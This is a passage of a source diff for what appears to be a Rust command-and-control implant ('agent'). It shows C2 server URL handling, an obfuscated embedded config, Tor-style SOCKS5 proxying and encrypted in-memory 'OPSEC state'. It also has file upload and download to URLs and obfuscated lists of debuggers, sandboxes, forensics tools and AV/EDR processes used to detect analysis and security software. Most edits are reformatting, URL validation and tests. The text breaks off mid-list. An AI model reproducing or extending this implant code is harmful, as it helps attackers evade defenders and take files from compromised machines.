base URL must not include query strings or fragments".to_string()); + } + + Ok(url) +} + +pub fn same_origin(left: &Url, right: &Url) -> bool { + left.scheme() == right.scheme() + && left.host_str() == right.host_str() + && left.port_or_known_default() == right.port_or_known_default() } #[derive(Serialize, Deserialize, Clone, Debug)] @@ -39,6 +88,8 @@ pub struct AgentConfig { pub socks5_host: String, #[serde(default = "default_socks5_port")] pub socks5_port: u16, + #[serde(default)] + pub allow_invalid_certs: bool, #[serde(default = "default_proc_scan_interval")] pub proc_scan_interval_secs: u64, #[serde(default = "default_user_agent")] @@ -75,7 +126,9 @@ fn default_socks5_port() -> u16 { 9050 } -fn default_proc_scan_interval() -> u64 { 300 } +fn default_proc_scan_interval() -> u64 { + 300 +} fn default_user_agent() -> String { // Use a common browser user agent as default @@ -137,6 +190,7 @@ impl Default for AgentConfig { socks5_enabled: false, socks5_host: obfstr!("127.0.0.1").to_string(), socks5_port: 9050, + allow_invalid_certs: false, proc_scan_interval_secs: default_proc_scan_interval(), user_agent: default_user_agent(), base_score_threshold_bg_to_reduced: default_base_score_threshold_bg_to_reduced(), @@ -168,17 +222,17 @@ impl AgentConfig { } else { warn!("[WARNING] Failed to parse deobfuscated embedded config"); } - }, + } Err(e) => { warn!("[WARNING] Failed to deobfuscate embedded config: {}", e); } } - + // Try filesystem config as fallback if let Ok(exe_path) = env::current_exe() { let exe_dir = exe_path.parent().unwrap_or(Path::new(".")); let config_path = exe_dir.join(".config").join("config.json"); - + if config_path.exists() { if let Ok(contents) = fs::read_to_string(&config_path) { if let Ok(config) = serde_json::from_str::(&contents) { @@ -191,7 +245,10 @@ impl AgentConfig { } // No valid config found - Err(io::Error::new(io::ErrorKind::NotFound, "No valid configuration found")) + Err(io::Error::new( + io::ErrorKind::NotFound, + "No valid configuration found", + )) } pub fn get_server_url(&self) -> String { @@ -202,25 +259,42 @@ impl AgentConfig { } } + pub fn get_validated_server_url(&self) -> Result { + validate_c2_base_url(&self.get_server_url()) + } + /// Build an HTTP client that respects the SOCKS5 proxy config and logs the proxy status. pub fn build_http_client(&self) -> Result { - let builder = Client::builder() - .user_agent(self.user_agent.clone()) - .danger_accept_invalid_certs(true); + let mut builder = Client::builder().user_agent(self.user_agent.clone()); + + if self.allow_invalid_certs { + warn!("[HTTP] TLS certificate verification is disabled by agent config"); + builder = builder.danger_accept_invalid_certs(self.allow_invalid_certs); + } if self.socks5_enabled { let proxy_url = format!("socks5h://{}:{}", self.socks5_host, self.socks5_port); - info!("[HTTP] Building HTTP client with SOCKS5 proxy: {}", proxy_url); + info!( + "[HTTP] Building HTTP client with SOCKS5 proxy: {}", + proxy_url + ); match builder .proxy(Proxy::all(&proxy_url).map_err(|e| { error!("[HTTP] Invalid proxy URL: {}", e); io::Error::new(io::ErrorKind::Other, format!("Invalid proxy URL: {}", e)) })?) - .build() { + .build() + { Ok(client) => Ok(client), Err(e) => { - error!("[HTTP] Failed to build HTTP client with SOCKS5 proxy: {}", e); - Err(io::Error::new(io::ErrorKind::Other, format!("Failed to build HTTP client with proxy: {}", e))) + error!( + "[HTTP] Failed to build HTTP client with SOCKS5 proxy: {}", + e + ); + Err(io::Error::new( + io::ErrorKind::Other, + format!("Failed to build HTTP client with proxy: {}", e), + )) } } } else { @@ -231,3 +305,68 @@ impl AgentConfig { } } } + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn validates_configured_server_urls() -> Result<(), String> { + let direct = AgentConfig { + server_url: "https://c2.example:8443".to_string(), + ..Default::default() + }; + assert_eq!( + direct.get_validated_server_url()?.as_str(), + "https://c2.example:8443/" + ); + + let with_protocol = AgentConfig { + server_url: "c2.example:8443".to_string(), + protocol: "https".to_string(), + ..Default::default() + }; + assert_eq!( + with_protocol.get_validated_server_url()?.as_str(), + "https://c2.example:8443/" + ); + + Ok(()) + } + + #[test] + fn rejects_unsupported_c2_base_urls() { + for raw_url in [ + "file:///tmp/config", + "ftp://c2.example", + "https://user:pass@c2.example", + "https://c2.example/path?token=1", + "https://c2.example/path#fragment", + ] { + assert!( + validate_c2_base_url(raw_url).is_err(), + "{} should be rejected", + raw_url + ); + } + } + + #[test] + fn compares_url_origins() -> Result<(), String> { + let left = validate_http_url("https://c2.example/path")?; + let same = validate_http_url("https://c2.example/other")?; + let different = validate_http_url("http://c2.example/path")?; + + assert!(same_origin(&left, &same)); + assert!(!same_origin(&left, &different)); + + Ok(()) + } + + #[test] + fn deobfuscate_config_rejects_invalid_inputs() { + assert!(deobfuscate_config("f", "k").is_err()); + assert!(deobfuscate_config("zz", "k").is_err()); + assert!(deobfuscate_config("00", "").is_err()); + } +} diff --git a/agent/src/dormant.rs b/agent/src/dormant.rs index 32a5276..a34e315 100644 --- a/agent/src/dormant.rs +++ b/agent/src/dormant.rs @@ -1,6 +1,6 @@ -use zeroize::Zeroize; +use aes_gcm::aead::{Aead, AeadCore, KeyInit, OsRng}; use aes_gcm::{Aes256Gcm, Key, Nonce}; -use aes_gcm::aead::{AeadCore, Aead, OsRng, KeyInit}; +use zeroize::Zeroize; /// AES-256-GCM based memory protector. pub struct AesProtector { @@ -10,25 +10,42 @@ pub struct AesProtector { impl AesProtector { /// Create a new protector with a randomly generated AES-256 key. pub fn new() -> Self { - Self { key: Aes256Gcm::generate_key(OsRng) } + Self { + key: Aes256Gcm::generate_key(OsRng), + } } /// Encrypt data using AES-256-GCM. - pub fn encrypt(&self, plaintext: &[u8]) -> Result<(Vec, Vec), Box> { + pub fn encrypt( + &self, + plaintext: &[u8], + ) -> Result<(Vec, Vec), Box> { let cipher = Aes256Gcm::new(&self.key); let nonce_bytes = Aes256Gcm::generate_nonce(&mut OsRng); let nonce = Nonce::from_slice(&nonce_bytes); - let ciphertext_and_tag = cipher.encrypt(nonce, plaintext) - .map_err(|e| Box::new(std::io::Error::new(std::io::ErrorKind::Other, format!("AES encryption failed: {:?}", e))) as Box)?; + let ciphertext_and_tag = cipher.encrypt(nonce, plaintext).map_err(|e| { + Box::new(std::io::Error::new( + std::io::ErrorKind::Other, + format!("AES encryption failed: {:?}", e), + )) as Box + })?; Ok((nonce_bytes.to_vec(), ciphertext_and_tag)) } /// Decrypt data using AES-256-GCM. - pub fn decrypt(&self, nonce_bytes: &[u8], ciphertext_and_tag: &[u8]) -> Result, Box> { + pub fn decrypt( + &self, + nonce_bytes: &[u8], + ciphertext_and_tag: &[u8], + ) -> Result, Box> { let cipher = Aes256Gcm::new(&self.key); let nonce = Nonce::from_slice(nonce_bytes); - Ok(cipher.decrypt(nonce, ciphertext_and_tag) - .map_err(|e| Box::new(std::io::Error::new(std::io::ErrorKind::Other, format!("AES decryption failed: {:?}", e))) as Box)?) + Ok(cipher.decrypt(nonce, ciphertext_and_tag).map_err(|e| { + Box::new(std::io::Error::new( + std::io::ErrorKind::Other, + format!("AES decryption failed: {:?}", e), + )) as Box + })?) } /// Zeroize the key from memory. @@ -65,7 +82,10 @@ impl MemoryProtector { } // Store encrypted OPSEC state - pub fn encrypt_opsec_state(&mut self, opsec_state: &crate::opsec::OpsecState) -> Result<(), Box> { + pub fn encrypt_opsec_state( + &mut self, + opsec_state: &crate::opsec::OpsecState, + ) -> Result<(), Box> { let serialized = bincode::serialize(opsec_state)?; let (nonce, ciphertext) = self.protector.encrypt(&serialized)?; self.encrypted_opsec_state = Some((nonce, ciphertext)); @@ -73,7 +93,9 @@ impl MemoryProtector { } // Decrypt OPSEC state (returns owned data that gets zeroized) - pub fn decrypt_opsec_state(&self) -> Result> { + pub fn decrypt_opsec_state( + &self, + ) -> Result> { if let Some((nonce, ciphertext)) = &self.encrypted_opsec_state { let decrypted = self.protector.decrypt(nonce, ciphertext)?; let opsec_state: crate::opsec::OpsecState = bincode::deserialize(&decrypted)?; @@ -85,17 +107,18 @@ impl MemoryProtector { // Temporary access with immediate cleanup pub fn with_opsec_state(&self, f: &F) -> Result> - where F: Fn(&crate::opsec::OpsecState) -> R, + where + F: Fn(&crate::opsec::OpsecState) -> R, { if let Some((nonce, ciphertext)) = &self.encrypted_opsec_state { let decrypted = self.protector.decrypt(nonce, ciphertext)?; let mut opsec_state: crate::opsec::OpsecState = bincode::deserialize(&decrypted)?; let result = f(&opsec_state); - + // Immediately zeroize decrypted data opsec_state.zeroize(); std::mem::drop(opsec_state); - + Ok(result) } else { Err("No encrypted OPSEC state found".into()) @@ -104,7 +127,8 @@ impl MemoryProtector { // Mutable access with immediate cleanup pub fn with_opsec_state_mut(&mut self, f: &F) -> Result> - where F: Fn(&mut crate::opsec::OpsecState) -> R, + where + F: Fn(&mut crate::opsec::OpsecState) -> R, { let mut state = if let Some((nonce, ciphertext)) = &self.encrypted_opsec_state { let decrypted = self.protector.decrypt(nonce, ciphertext)?; @@ -127,25 +151,25 @@ impl MemoryProtector { .unwrap_or_default() .as_secs(), // === ADD MISSING DYNAMIC THRESHOLD FIELDS === - dyn_enter_full: 60.0, // Default from config - dyn_exit_full: 55.0, // Default with hysteresis buffer - dyn_enter_reduced: 20.0, // Default from config - dyn_exit_reduced: 15.0, // Default with hysteresis buffer + dyn_enter_full: 60.0, // Default from config + dyn_exit_full: 55.0, // Default with hysteresis buffer + dyn_enter_reduced: 20.0, // Default from config + dyn_exit_reduced: 15.0, // Default with hysteresis buffer threshold_adjustment_history: 0, } }; - + let result = f(&mut state); - + // Re-encrypt the modified state let serialized = bincode::serialize(&state)?; let (nonce, ciphertext) = self.protector.encrypt(&serialized)?; self.encrypted_opsec_state = Some((nonce, ciphertext)); - + // Immediately zeroize plaintext state.zeroize(); std::mem::drop(state); - + Ok(result) } @@ -157,7 +181,8 @@ impl MemoryProtector { } pub fn with_config(&self, f: F) -> Result> - where F: FnOnce(&[u8]) -> R, + where + F: FnOnce(&[u8]) -> R, { if let Some((nonce, ciphertext)) = &self.encrypted_config { let mut decrypted = self.protector.decrypt(nonce, ciphertext)?; @@ -189,30 +214,30 @@ impl MemoryProtector { // Complete cleanup pub fn zeroize(&mut self) { self.protector.zeroize(); - + // Zeroize all encrypted data if let Some((ref mut n, ref mut c)) = self.encrypted_opsec_state { n.zeroize(); c.zeroize(); } self.encrypted_opsec_state = None; - + if let Some((ref mut n, ref mut c)) = self.encrypted_config { n.zeroize(); c.zeroize(); } self.encrypted_config = None; - + for (ref mut n, ref mut c) in &mut self.encrypted_command_queue { n.zeroize(); c.zeroize(); } self.encrypted_command_queue.clear(); - + if let Some((ref mut n, ref mut c)) = self.encrypted_file_buffer { n.zeroize(); c.zeroize(); } self.encrypted_file_buffer = None; } -} \ No newline at end of file +} diff --git a/agent/src/file_handling/download.rs b/agent/src/file_handling/download.rs index c002fa8..edc6570 100644 --- a/agent/src/file_handling/download.rs +++ b/agent/src/file_handling/download.rs @@ -1,9 +1,9 @@ +use log::{debug, error, info, warn}; +use reqwest::Client; // Use reqwest::Client use std::error::Error; use std::path::Path; use tokio::fs::File; use tokio::io::AsyncWriteExt; -use reqwest::Client; // Use reqwest::Client -use log::{info, warn, error, debug}; /// Download a file using reqwest by streaming chunks directly to disk pub async fn download_file(url: &str, dest_path: &Path) -> Result<(), Box> { @@ -58,7 +58,10 @@ mod tests { } Err(e) => { // If the server isn't running, this error is expected. - warn!("Download failed (is test server running at {}?): {}", test_file_url, e); + warn!( + "Download failed (is test server running at {}?): {}", + test_file_url, e + ); // We don't fail the test here, as the server might not be running. // assert!(false, "Download failed: {}", e); } diff --git a/agent/src/file_handling/upload.rs b/agent/src/file_handling/upload.rs index 14ec736..80c78a5 100644 --- a/agent/src/file_handling/upload.rs +++ b/agent/src/file_handling/upload.rs @@ -1,20 +1,24 @@ -use std::fs; +use crate::config::validate_http_url; +use reqwest::{Client, Method}; use std::error::Error; -use reqwest::Client; -use obfstr::obfstr; +use std::fs; /// Uploads a file to the given URL via HTTP POST using reqwest. -pub async fn upload_file_to_url(file_path: &str, upload_url: &str) -> Result> { +pub async fn upload_file_to_url( + file_path: &str, + upload_url: &str, +) -> Result> { let file_content = fs::read(file_path)?; - + let upload_url = validate_http_url(upload_url).map_err(|e| -> Box { e.into() })?; + let client = Client::new(); let response = client - .post(upload_url) + .request(Method::POST, upload_url) .header("Content-Type", "application/octet-stream") .body(file_content) .send() .await?; - + if response.status().is_success() { Ok(format!("File uploaded successfully: {}", response.status())) } else { diff --git a/agent/src/high_threat_tools.rs b/agent/src/high_threat_tools.rs index d897fef..9eda634 100644 --- a/agent/src/high_threat_tools.rs +++ b/agent/src/high_threat_tools.rs @@ -1,287 +1,271 @@ -use once_cell::sync::Lazy; use obfstr::obfstr; +use once_cell::sync::Lazy; // OBFUSCATED THREAT DETECTION LISTS -pub static HIGH_THREAT_ANALYSIS_TOOLS: Lazy> = Lazy::new(|| vec![ - // Debuggers and Disassemblers - obfstr!("ida.exe").to_string(), - obfstr!("ida64.exe").to_string(), - obfstr!("idaq.exe").to_string(), - obfstr!("idaw.exe").to_string(), - obfstr!("idag.exe").to_string(), - obfstr!("ida64q.exe").to_string(), - obfstr!("idau.exe").to_string(), - obfstr!("idau64.exe").to_string(), - obfstr!("x32dbg.exe").to_string(), - obfstr!("x64dbg.exe").to_string(), - obfstr!("x96dbg.exe").to_string(), - obfstr!("ollydbg.exe").to_string(), - obfstr!("windbg.exe").to_string(), - obfstr!("cdb.exe").to_string(), - obfstr!("ntsd.exe").to_string(), - obfstr!("kd.exe").to_string(), - obfstr!("gdb.exe").to_string(), - obfstr!("radare2.exe").to_string(), - obfstr!("r2.exe").to_string(), - obfstr!("rizin.exe").to_string(), - obfstr!("rz.exe").to_string(), - obfstr!("ghidra.exe").to_string(), - obfstr!("binaryninja.exe").to_string(), - - // System Monitors and Analysis Tools - obfstr!("procmon.exe").to_string(), - obfstr!("procmon64.exe").to_string(), - obfstr!("procexp.exe").to_string(), - obfstr!("procexp64.exe").to_string(), - obfstr!("autoruns.exe").to_string(), - obfstr!("autoruns64.exe").to_string(), - obfstr!("autorunsc.exe").to_string(), - obfstr!("autorunsc64.exe").to_string(), - obfstr!("regmon.exe").to_string(), - obfstr!("regmon64.exe").to_string(), - obfstr!("filemon.exe").to_string(), - obfstr!("portmon.exe").to_string(), - obfstr!("regshot.exe").to_string(), - obfstr!("regshot-x64-ansi.exe").to_string(), - obfstr!("apimonitor.exe").to_string(), - obfstr!("apimonitor-x64.exe").to_string(), - - // Network Analysis - obfstr!("wireshark.exe").to_string(), - obfstr!("tshark.exe").to_string(), - obfstr!("dumpcap.exe").to_string(), - obfstr!("windump.exe").to_string(), - obfstr!("tcpview.exe").to_string(), - obfstr!("tcpview64.exe").to_string(), - obfstr!("netmon.exe").to_string(), - obfstr!("fiddler.exe").to_string(), - obfstr!("burpsuite.exe").to_string(), - obfstr!("burp.exe").to_string(), - - // Sandboxes and VMs - obfstr!("vmsrvc.exe").to_string(), - obfstr!("vmusrvc.exe").to_string(), - obfstr!("vmtoolsd.exe").to_string(), - obfstr!("vmware.exe").to_string(), - obfstr!("vmware-vmx.exe").to_string(), - obfstr!("vmware-authd.exe").to_string(), - obfstr!("virtualbox.exe").to_string(), - obfstr!("vboxservice.exe").to_string(), - obfstr!("vboxtray.exe").to_string(), - obfstr!("qemu.exe").to_string(), - obfstr!("qemu-system.exe").to_string(), - obfstr!("qemu-img.exe").to_string(), - obfstr!("sbiesvc.exe").to_string(), - obfstr!("raptorservice.exe").to_string(), - obfstr!("joe-sandbox.exe").to_string(), - obfstr!("cuckoo.exe").to_string(), - - // Forensics Tools - obfstr!("volatility.exe").to_string(), - obfstr!("rekall.exe").to_string(), - obfstr!("autopsy.exe").to_string(), - obfstr!("sleuthkit.exe").to_string(), - obfstr!("ftk.exe").to_string(), - obfstr!("encase.exe").to_string(), - obfstr!("plaso.exe").to_string(), - obfstr!("log2timeline.exe").to_string(), - - // Hex Editors and Binary Analysis - obfstr!("hxd.exe").to_string(), - obfstr!("hex-workshop.exe").to_string(), - obfstr!("010editor.exe").to_string(), - obfstr!("hexedit.exe").to_string(), - obfstr!("bless.exe").to_string(), - obfstr!("pestudio.exe").to_string(), - obfstr!("peview.exe").to_string(), - obfstr!("peid.exe").to_string(), - obfstr!("exeinfope.exe").to_string(), - obfstr!("detect-it-easy.exe").to_string(), - obfstr!("die.exe").to_string(), -]); +pub static HIGH_THREAT_ANALYSIS_TOOLS: Lazy> = Lazy::new(|| { + vec![ + // Debuggers and Disassemblers + obfstr!("ida.exe").to_string(), + obfstr!("ida64.exe").to_string(), + obfstr!("idaq.exe").to_string(), + obfstr!("idaw.exe").to_string(), + obfstr!("idag.exe").to_string(), + obfstr!("ida64q.exe").to_string(), + obfstr!("idau.exe").to_string(), + obfstr!("idau64.exe").to_string(), + obfstr!("x32dbg.exe").to_string(), + obfstr!("x64dbg.exe").to_string(), + obfstr!("x96dbg.exe").to_string(), + obfstr!("ollydbg.exe").to_string(), + obfstr!("windbg.exe").to_string(), + obfstr!("cdb.exe").to_string(), + obfstr!("ntsd.exe").to_string(), + obfstr!("kd.exe").to_string(), + obfstr!("gdb.exe").to_string(), + obfstr!("radare2.exe").to_string(), + obfstr!("r2.exe").to_string(), + obfstr!("rizin.exe").to_string(), + obfstr!("rz.exe").to_string(), + obfstr!("ghidra.exe").to_string(), + obfstr!("binaryninja.exe").to_string(), + // System Monitors and Analysis Tools + obfstr!("procmon.exe").to_string(), + obfstr!("procmon64.exe").to_string(), + obfstr!("procexp.exe").to_string(), + obfstr!("procexp64.exe").to_string(), + obfstr!("autoruns.exe").to_string(), + obfstr!("autoruns64.exe").to_string(), + obfstr!("autorunsc.exe").to_string(), + obfstr!("autorunsc64.exe").to_string(), + obfstr!("regmon.exe").to_string(), + obfstr!("regmon64.exe").to_string(), + obfstr!("filemon.exe").to_string(), + obfstr!("portmon.exe").to_string(), + obfstr!("regshot.exe").to_string(), + obfstr!("regshot-x64-ansi.exe").to_string(), + obfstr!("apimonitor.exe").to_string(), + obfstr!("apimonitor-x64.exe").to_string(), + // Network Analysis + obfstr!("wireshark.exe").to_string(), + obfstr!("tshark.exe").to_string(), + obfstr!("dumpcap.exe").to_string(), + obfstr!("windump.exe").to_string(), + obfstr!("tcpview.exe").to_string(), + obfstr!("tcpview64.exe").to_string(), + obfstr!("netmon.exe").to_string(), + obfstr!("fiddler.exe").to_string(), + obfstr!("burpsuite.exe").to_string(), + obfstr!("burp.exe").to_string(), + // Sandboxes and VMs + obfstr!("vmsrvc.exe").to_string(), + obfstr!("vmusrvc.exe").to_string(), + obfstr!("vmtoolsd.exe").to_string(), + obfstr!("vmware.exe").to_string(), + obfstr!("vmware-vmx.exe").to_string(), + obfstr!("vmware-authd.exe").to_string(), + obfstr!("virtualbox.exe").to_string(), + obfstr!("vboxservice.exe").to_string(), + obfstr!("vboxtray.exe").to_string(), + obfstr!("qemu.exe").to_string(), + obfstr!("qemu-system.exe").to_string(), + obfstr!("qemu-img.exe").to_string(), + obfstr!("sbiesvc.exe").to_string(), + obfstr!("raptorservice.exe").to_string(), + obfstr!("joe-sandbox.exe").to_string(), + obfstr!("cuckoo.exe").to_string(), + // Forensics Tools + obfstr!("volatility.exe").to_string(), + obfstr!("rekall.exe").to_string(), + obfstr!("autopsy.exe").to_string(), + obfstr!("sleuthkit.exe").to_string(), + obfstr!("ftk.exe").to_string(), + obfstr!("encase.exe").to_string(), + obfstr!("plaso.exe").to_string(), + obfstr!("log2timeline.exe").to_string(), + // Hex Editors and Binary Analysis + obfstr!("hxd.exe").to_string(), + obfstr!("hex-workshop.exe").to_string(), + obfstr!("010editor.exe").to_string(), + obfstr!("hexedit.exe").to_string(), + obfstr!("bless.exe").to_string(), + obfstr!("pestudio.exe").to_string(), + obfstr!("peview.exe").to_string(), + obfstr!("peid.exe").to_string(), + obfstr!("exeinfope.exe").to_string(), + obfstr!("detect-it-easy.exe").to_string(), + obfstr!("die.exe").to_string(), + ] +}); -pub static COMMON_AV_EDR_PROCESSES: Lazy> = Lazy::new(|| vec![ - // Windows Defender - obfstr!("msmpeng.exe").to_string(), - obfstr!("antimalware service executable").to_string(), - obfstr!("windefend").to_string(), - obfstr!("msseces.exe").to_string(), - obfstr!("mpcmdrun.exe").to_string(), - obfstr!("mpnotify.exe").to_string(), - - // CrowdStrike Falcon - obfstr!("csfalconservice.exe").to_string(), - obfstr!("csfalconcontainer.exe").to_string(), - obfstr!("csagent.exe").to_string(), - obfstr!("csshell.exe").to_string(), - - // SentinelOne - obfstr!("sentinelagent.exe").to_string(), - obfstr!("sentinelone.exe").to_string(), - obfstr!("sentinelctl.exe").to_string(), - obfstr!("sentinelhostservice.exe").to_string(), - - // Carbon Black - obfstr!("cb.exe").to_string(), - obfstr!("carbonblack.exe").to_string(), - obfstr!("cbdefense.exe").to_string(), - obfstr!("carbonblackk.exe").to_string(), - obfstr!("cbcomms.exe").to_string(), - obfstr!("cbstream.exe").to_string(), - - // Cylance - obfstr!("cylancesvc.exe").to_string(), - obfstr!("cylanceui.exe").to_string(), - obfstr!("cyoptics.exe").to_string(), - obfstr!("cyupdate.exe").to_string(), - - // Symantec/Broadcom - obfstr!("ccsvchst.exe").to_string(), - obfstr!("rtvscan.exe").to_string(), - obfstr!("sep.exe").to_string(), - obfstr!("symantec.exe").to_string(), - obfstr!("smc.exe").to_string(), - obfstr!("smcgui.exe").to_string(), - obfstr!("sepwsc.exe").to_string(), - - // McAfee - obfstr!("mcshield.exe").to_string(), - obfstr!("mcafee.exe").to_string(), - obfstr!("mfemms.exe").to_string(), - obfstr!("mfevtp.exe").to_string(), - obfstr!("mcuicnt.exe").to_string(), - obfstr!("mctray.exe").to_string(), - obfstr!("masvc.exe").to_string(), - - // Trend Micro - obfstr!("tmbmsrv.exe").to_string(), - obfstr!("tmccsf.exe").to_string(), - obfstr!("tmlisten.exe").to_string(), - obfstr!("tmproxy.exe").to_string(), - obfstr!("tmntsrv.exe").to_string(), - obfstr!("pccnt.exe").to_string(), - obfstr!("pccpfw.exe").to_string(), - - // Kaspersky - obfstr!("avp.exe").to_string(), - obfstr!("kavfs.exe").to_string(), - obfstr!("kavfsslp.exe").to_string(), - obfstr!("klnagent.exe").to_string(), - obfstr!("klwtblfs.exe").to_string(), - obfstr!("ksde.exe").to_string(), - - // ESET - obfstr!("ekrn.exe").to_string(), - obfstr!("egui.exe").to_string(), - obfstr!("esetservice.exe").to_string(), - obfstr!("eamonm.exe").to_string(), - obfstr!("ecls.exe").to_string(), - - // Malwarebytes - obfstr!("mbam.exe").to_string(), - obfstr!("mbamservice.exe").to_string(), - obfstr!("malwarebytes.exe").to_string(), - obfstr!("mbamtray.exe").to_string(), - - // Microsoft Advanced Threat Protection (ATP) - obfstr!("microsoftwindowsdefenderatp.exe").to_string(), - obfstr!("mdatp.exe").to_string(), - obfstr!("wdatp.exe").to_string(), - obfstr!("microsoftdefenderatp.exe").to_string(), - - // Other EDR Solutions - obfstr!("tanium.exe").to_string(), - obfstr!("taniumclient.exe").to_string(), - obfstr!("elastic-agent.exe").to_string(), - obfstr!("elastic-endpoint.exe").to_string(), - obfstr!("fireeye.exe").to_string(), - obfstr!("mandiant.exe").to_string(), - obfstr!("xagt.exe").to_string(), // FireEye HX Agent - obfstr!("fe_avs.exe").to_string(), - obfstr!("fhoster.exe").to_string(), - obfstr!("lacuna.exe").to_string(), -]); +pub static COMMON_AV_EDR_PROCESSES: Lazy> = Lazy::new(|| { + vec![ + // Windows Defender + obfstr!("msmpeng.exe").to_string(), + obfstr!("antimalware service executable").to_string(), + obfstr!("windefend").to_string(), + obfstr!("msseces.exe").to_string(), + obfstr!("mpcmdrun.exe").to_string(), + obfstr!("mpnotify.exe").to_string(), + // CrowdStrike Falcon + obfstr!("csfalconservice.exe").to_string(), + obfstr!("csfalconcontainer.exe").to_string(), + obfstr!("csagent.exe").to_string(), + obfstr!("csshell.exe").to_string(), + // SentinelOne + obfstr!("sentinelagent.exe").to_string(), + obfstr!("sentinelone.exe").to_string(), + obfstr!("sentinelctl.exe").to_string(), + obfstr!("sentinelhostservice.exe").to_string(), + // Carbon Black + obfstr!("cb.exe").to_string(), + obfstr!("carbonblack.exe").to_string(), + obfstr!("cbdefense.exe").to_string(), + obfstr!("carbonblackk.exe").to_string(), + obfstr!("cbcomms.exe").to_string(), + obfstr!("cbstream.exe").to_string(), + // Cylance + obfstr!("cylancesvc.exe").to_string(), + obfstr!("cylanceui.exe").to_string(), + obfstr!("cyoptics.exe").to_string(), + obfstr!("cyupdate.exe").to_string(), + // Symantec/Broadcom + obfstr!("ccsvchst.exe").to_string(), + obfstr!("rtvscan.exe").to_string(), + obfstr!("sep.exe").to_string(), + obfstr!("symantec.exe").to_string(), + obfstr!("smc.exe").to_string(), + obfstr!("smcgui.exe").to_string(), + obfstr!("sepwsc.exe").to_string(), + // McAfee + obfstr!("mcshield.exe").to_string(), + obfstr!("mcafee.exe").to_string(), + obfstr!("mfemms.exe").to_string(), + obfstr!("mfevtp.exe").to_string(), + obfstr!("mcuicnt.exe").to_string(), + obfstr!("mctray.exe").to_string(), + obfstr!("masvc.exe").to_string(), + // Trend Micro + obfstr!("tmbmsrv.exe").to_string(), + obfstr!("tmccsf.exe").to_string(), + obfstr!("tmlisten.exe").to_string(), + obfstr!("tmproxy.exe").to_string(), + obfstr!("tmntsrv.exe").to_string(), + obfstr!("pccnt.exe").to_string(), + obfstr!("pccpfw.exe").to_string(), + // Kaspersky + obfstr!("avp.exe").to_string(), + obfstr!("kavfs.exe").to_string(), + obfstr!("kavfsslp.exe").to_string(), + obfstr!("klnagent.exe").to_string(), + obfstr!("klwtblfs.exe").to_string(), + obfstr!("ksde.exe").to_string(), + // ESET + obfstr!("ekrn.exe").to_string(), + obfstr!("egui.exe").to_string(), + obfstr!("esetservice.exe").to_string(), + obfstr!("eamonm.exe").to_string(), + obfstr!("ecls.exe").to_string(), + // Malwarebytes + obfstr!("mbam.exe").to_string(), + obfstr!("mbamservice.exe").to_string(), + obfstr!("malwarebytes.exe").to_string(), + obfstr!("mbamtray.exe").to_string(), + // Microsoft Advanced Threat Protection (ATP) + obfstr!("microsoftwindowsdefenderatp.exe").to_string(), + obfstr!("mdatp.exe").to_string(), + obfstr!("wdatp.exe").to_string(), + obfstr!("microsoftdefenderatp.exe").to_string(), + // Other EDR Solutions + obfstr!("tanium.exe").to_string(), + obfstr!("taniumclient.exe").to_string(), + obfstr!("elastic-agent.exe").to_string(), + obfstr!("elastic-endpoint.exe").to_string(), + obfstr!("fireeye.exe").to_string(), + obfstr!("mandiant.exe").to_string(), + obfstr!("xagt.exe").to_string(), // FireEye HX Agent + obfstr!("fe_avs.exe").to_string(), + obfstr!("fhoster.exe").to_string(), + obfstr!("lacuna.exe").to_string(), + ] +}); -pub static SUSPICIOUS_WINDOW_TITLES: Lazy> = Lazy::new(|| vec![ - // Analysis Tools Window Titles - obfstr!("IDA Pro").to_string(), - obfstr!("Hex-Rays").to_string(), - obfstr!("x64dbg").to_string(), - obfstr!("x32dbg").to_string(), - obfstr!("OllyDbg").to_string(), - obfstr!("WinDbg").to_string(), - obfstr!("Process Monitor").to_string(), - obfstr!("Process Explorer").to_string(), - obfstr!("Autoruns").to_string(), - obfstr!("Registry Monitor").to_string(), - obfstr!("File Monitor").to_string(), - obfstr!("API Monitor").to_string(), - obfstr!("Wireshark").to_string(), - obfstr!("Burp Suite").to_string(), - obfstr!("Fiddler").to_string(), - obfstr!("TCPView").to_string(), - obfstr!("PE-bear").to_string(), - obfstr!("PEiD").to_string(), - obfstr!("PEView").to_string(), - obfstr!("CFF Explorer").to_string(), - obfstr!("Resource Hacker").to_string(), - obfstr!("Dependency Walker").to_string(), - obfstr!("Ghidra").to_string(), - obfstr!("Binary Ninja").to_string(), - obfstr!("Radare2").to_string(), - obfstr!("HxD").to_string(), - obfstr!("010 Editor").to_string(), - - // Sandbox/VM Window Titles - obfstr!("VMware").to_string(), - obfstr!("VirtualBox").to_string(), - obfstr!("QEMU").to_string(), - obfstr!("Sandboxie").to_string(), - obfstr!("Joe Sandbox").to_string(), - obfstr!("Cuckoo Sandbox").to_string(), - obfstr!("ANY.RUN").to_string(), - obfstr!("Hybrid Analysis").to_string(), - - // Forensics Tools - obfstr!("Volatility").to_string(), - obfstr!("Autopsy").to_string(), - obfstr!("Sleuth Kit").to_string(), - obfstr!("FTK Imager").to_string(), - obfstr!("EnCase").to_string(), - obfstr!("SANS SIFT").to_string(), - obfstr!("AXIOM").to_string(), - - // Security Software - obfstr!("CrowdStrike").to_string(), - obfstr!("Falcon").to_string(), - obfstr!("SentinelOne").to_string(), - obfstr!("Carbon Black").to_string(), - obfstr!("Cylance").to_string(), - obfstr!("Symantec Endpoint").to_string(), - obfstr!("McAfee").to_string(), - obfstr!("Trend Micro").to_string(), - obfstr!("Kaspersky").to_string(), - obfstr!("ESET").to_string(), - obfstr!("Malwarebytes").to_string(), - obfstr!("Windows Defender").to_string(), - obfstr!("Microsoft Defender").to_string(), - - // Command Prompts and Shells (suspicious if multiple) - obfstr!("Command Prompt").to_string(), - obfstr!("PowerShell").to_string(), - obfstr!("Windows PowerShell").to_string(), - obfstr!("PowerShell ISE").to_string(), - obfstr!("Task Manager").to_string(), - obfstr!("Services").to_string(), - obfstr!("Registry Editor").to_string(), - obfstr!("Event Viewer").to_string(), - - // Network Tools - obfstr!("Nmap").to_string(), - obfstr!("Metasploit").to_string(), - obfstr!("Cobalt Strike").to_string(), - obfstr!("Armitage").to_string(), - obfstr!("Nessus").to_string(), - obfstr!("OpenVAS").to_string(), - obfstr!("Rapid7").to_string(), -]); \ No newline at end of file +pub static SUSPICIOUS_WINDOW_TITLES: Lazy> = Lazy::new(|| { + vec![ + // Analysis Tools Window Titles + obfstr!("IDA Pro").to_string(), + obfstr!("Hex-Rays").to_string(), + obfstr!("x64dbg").to_string(), + obfstr!("x32dbg").to_string(), + 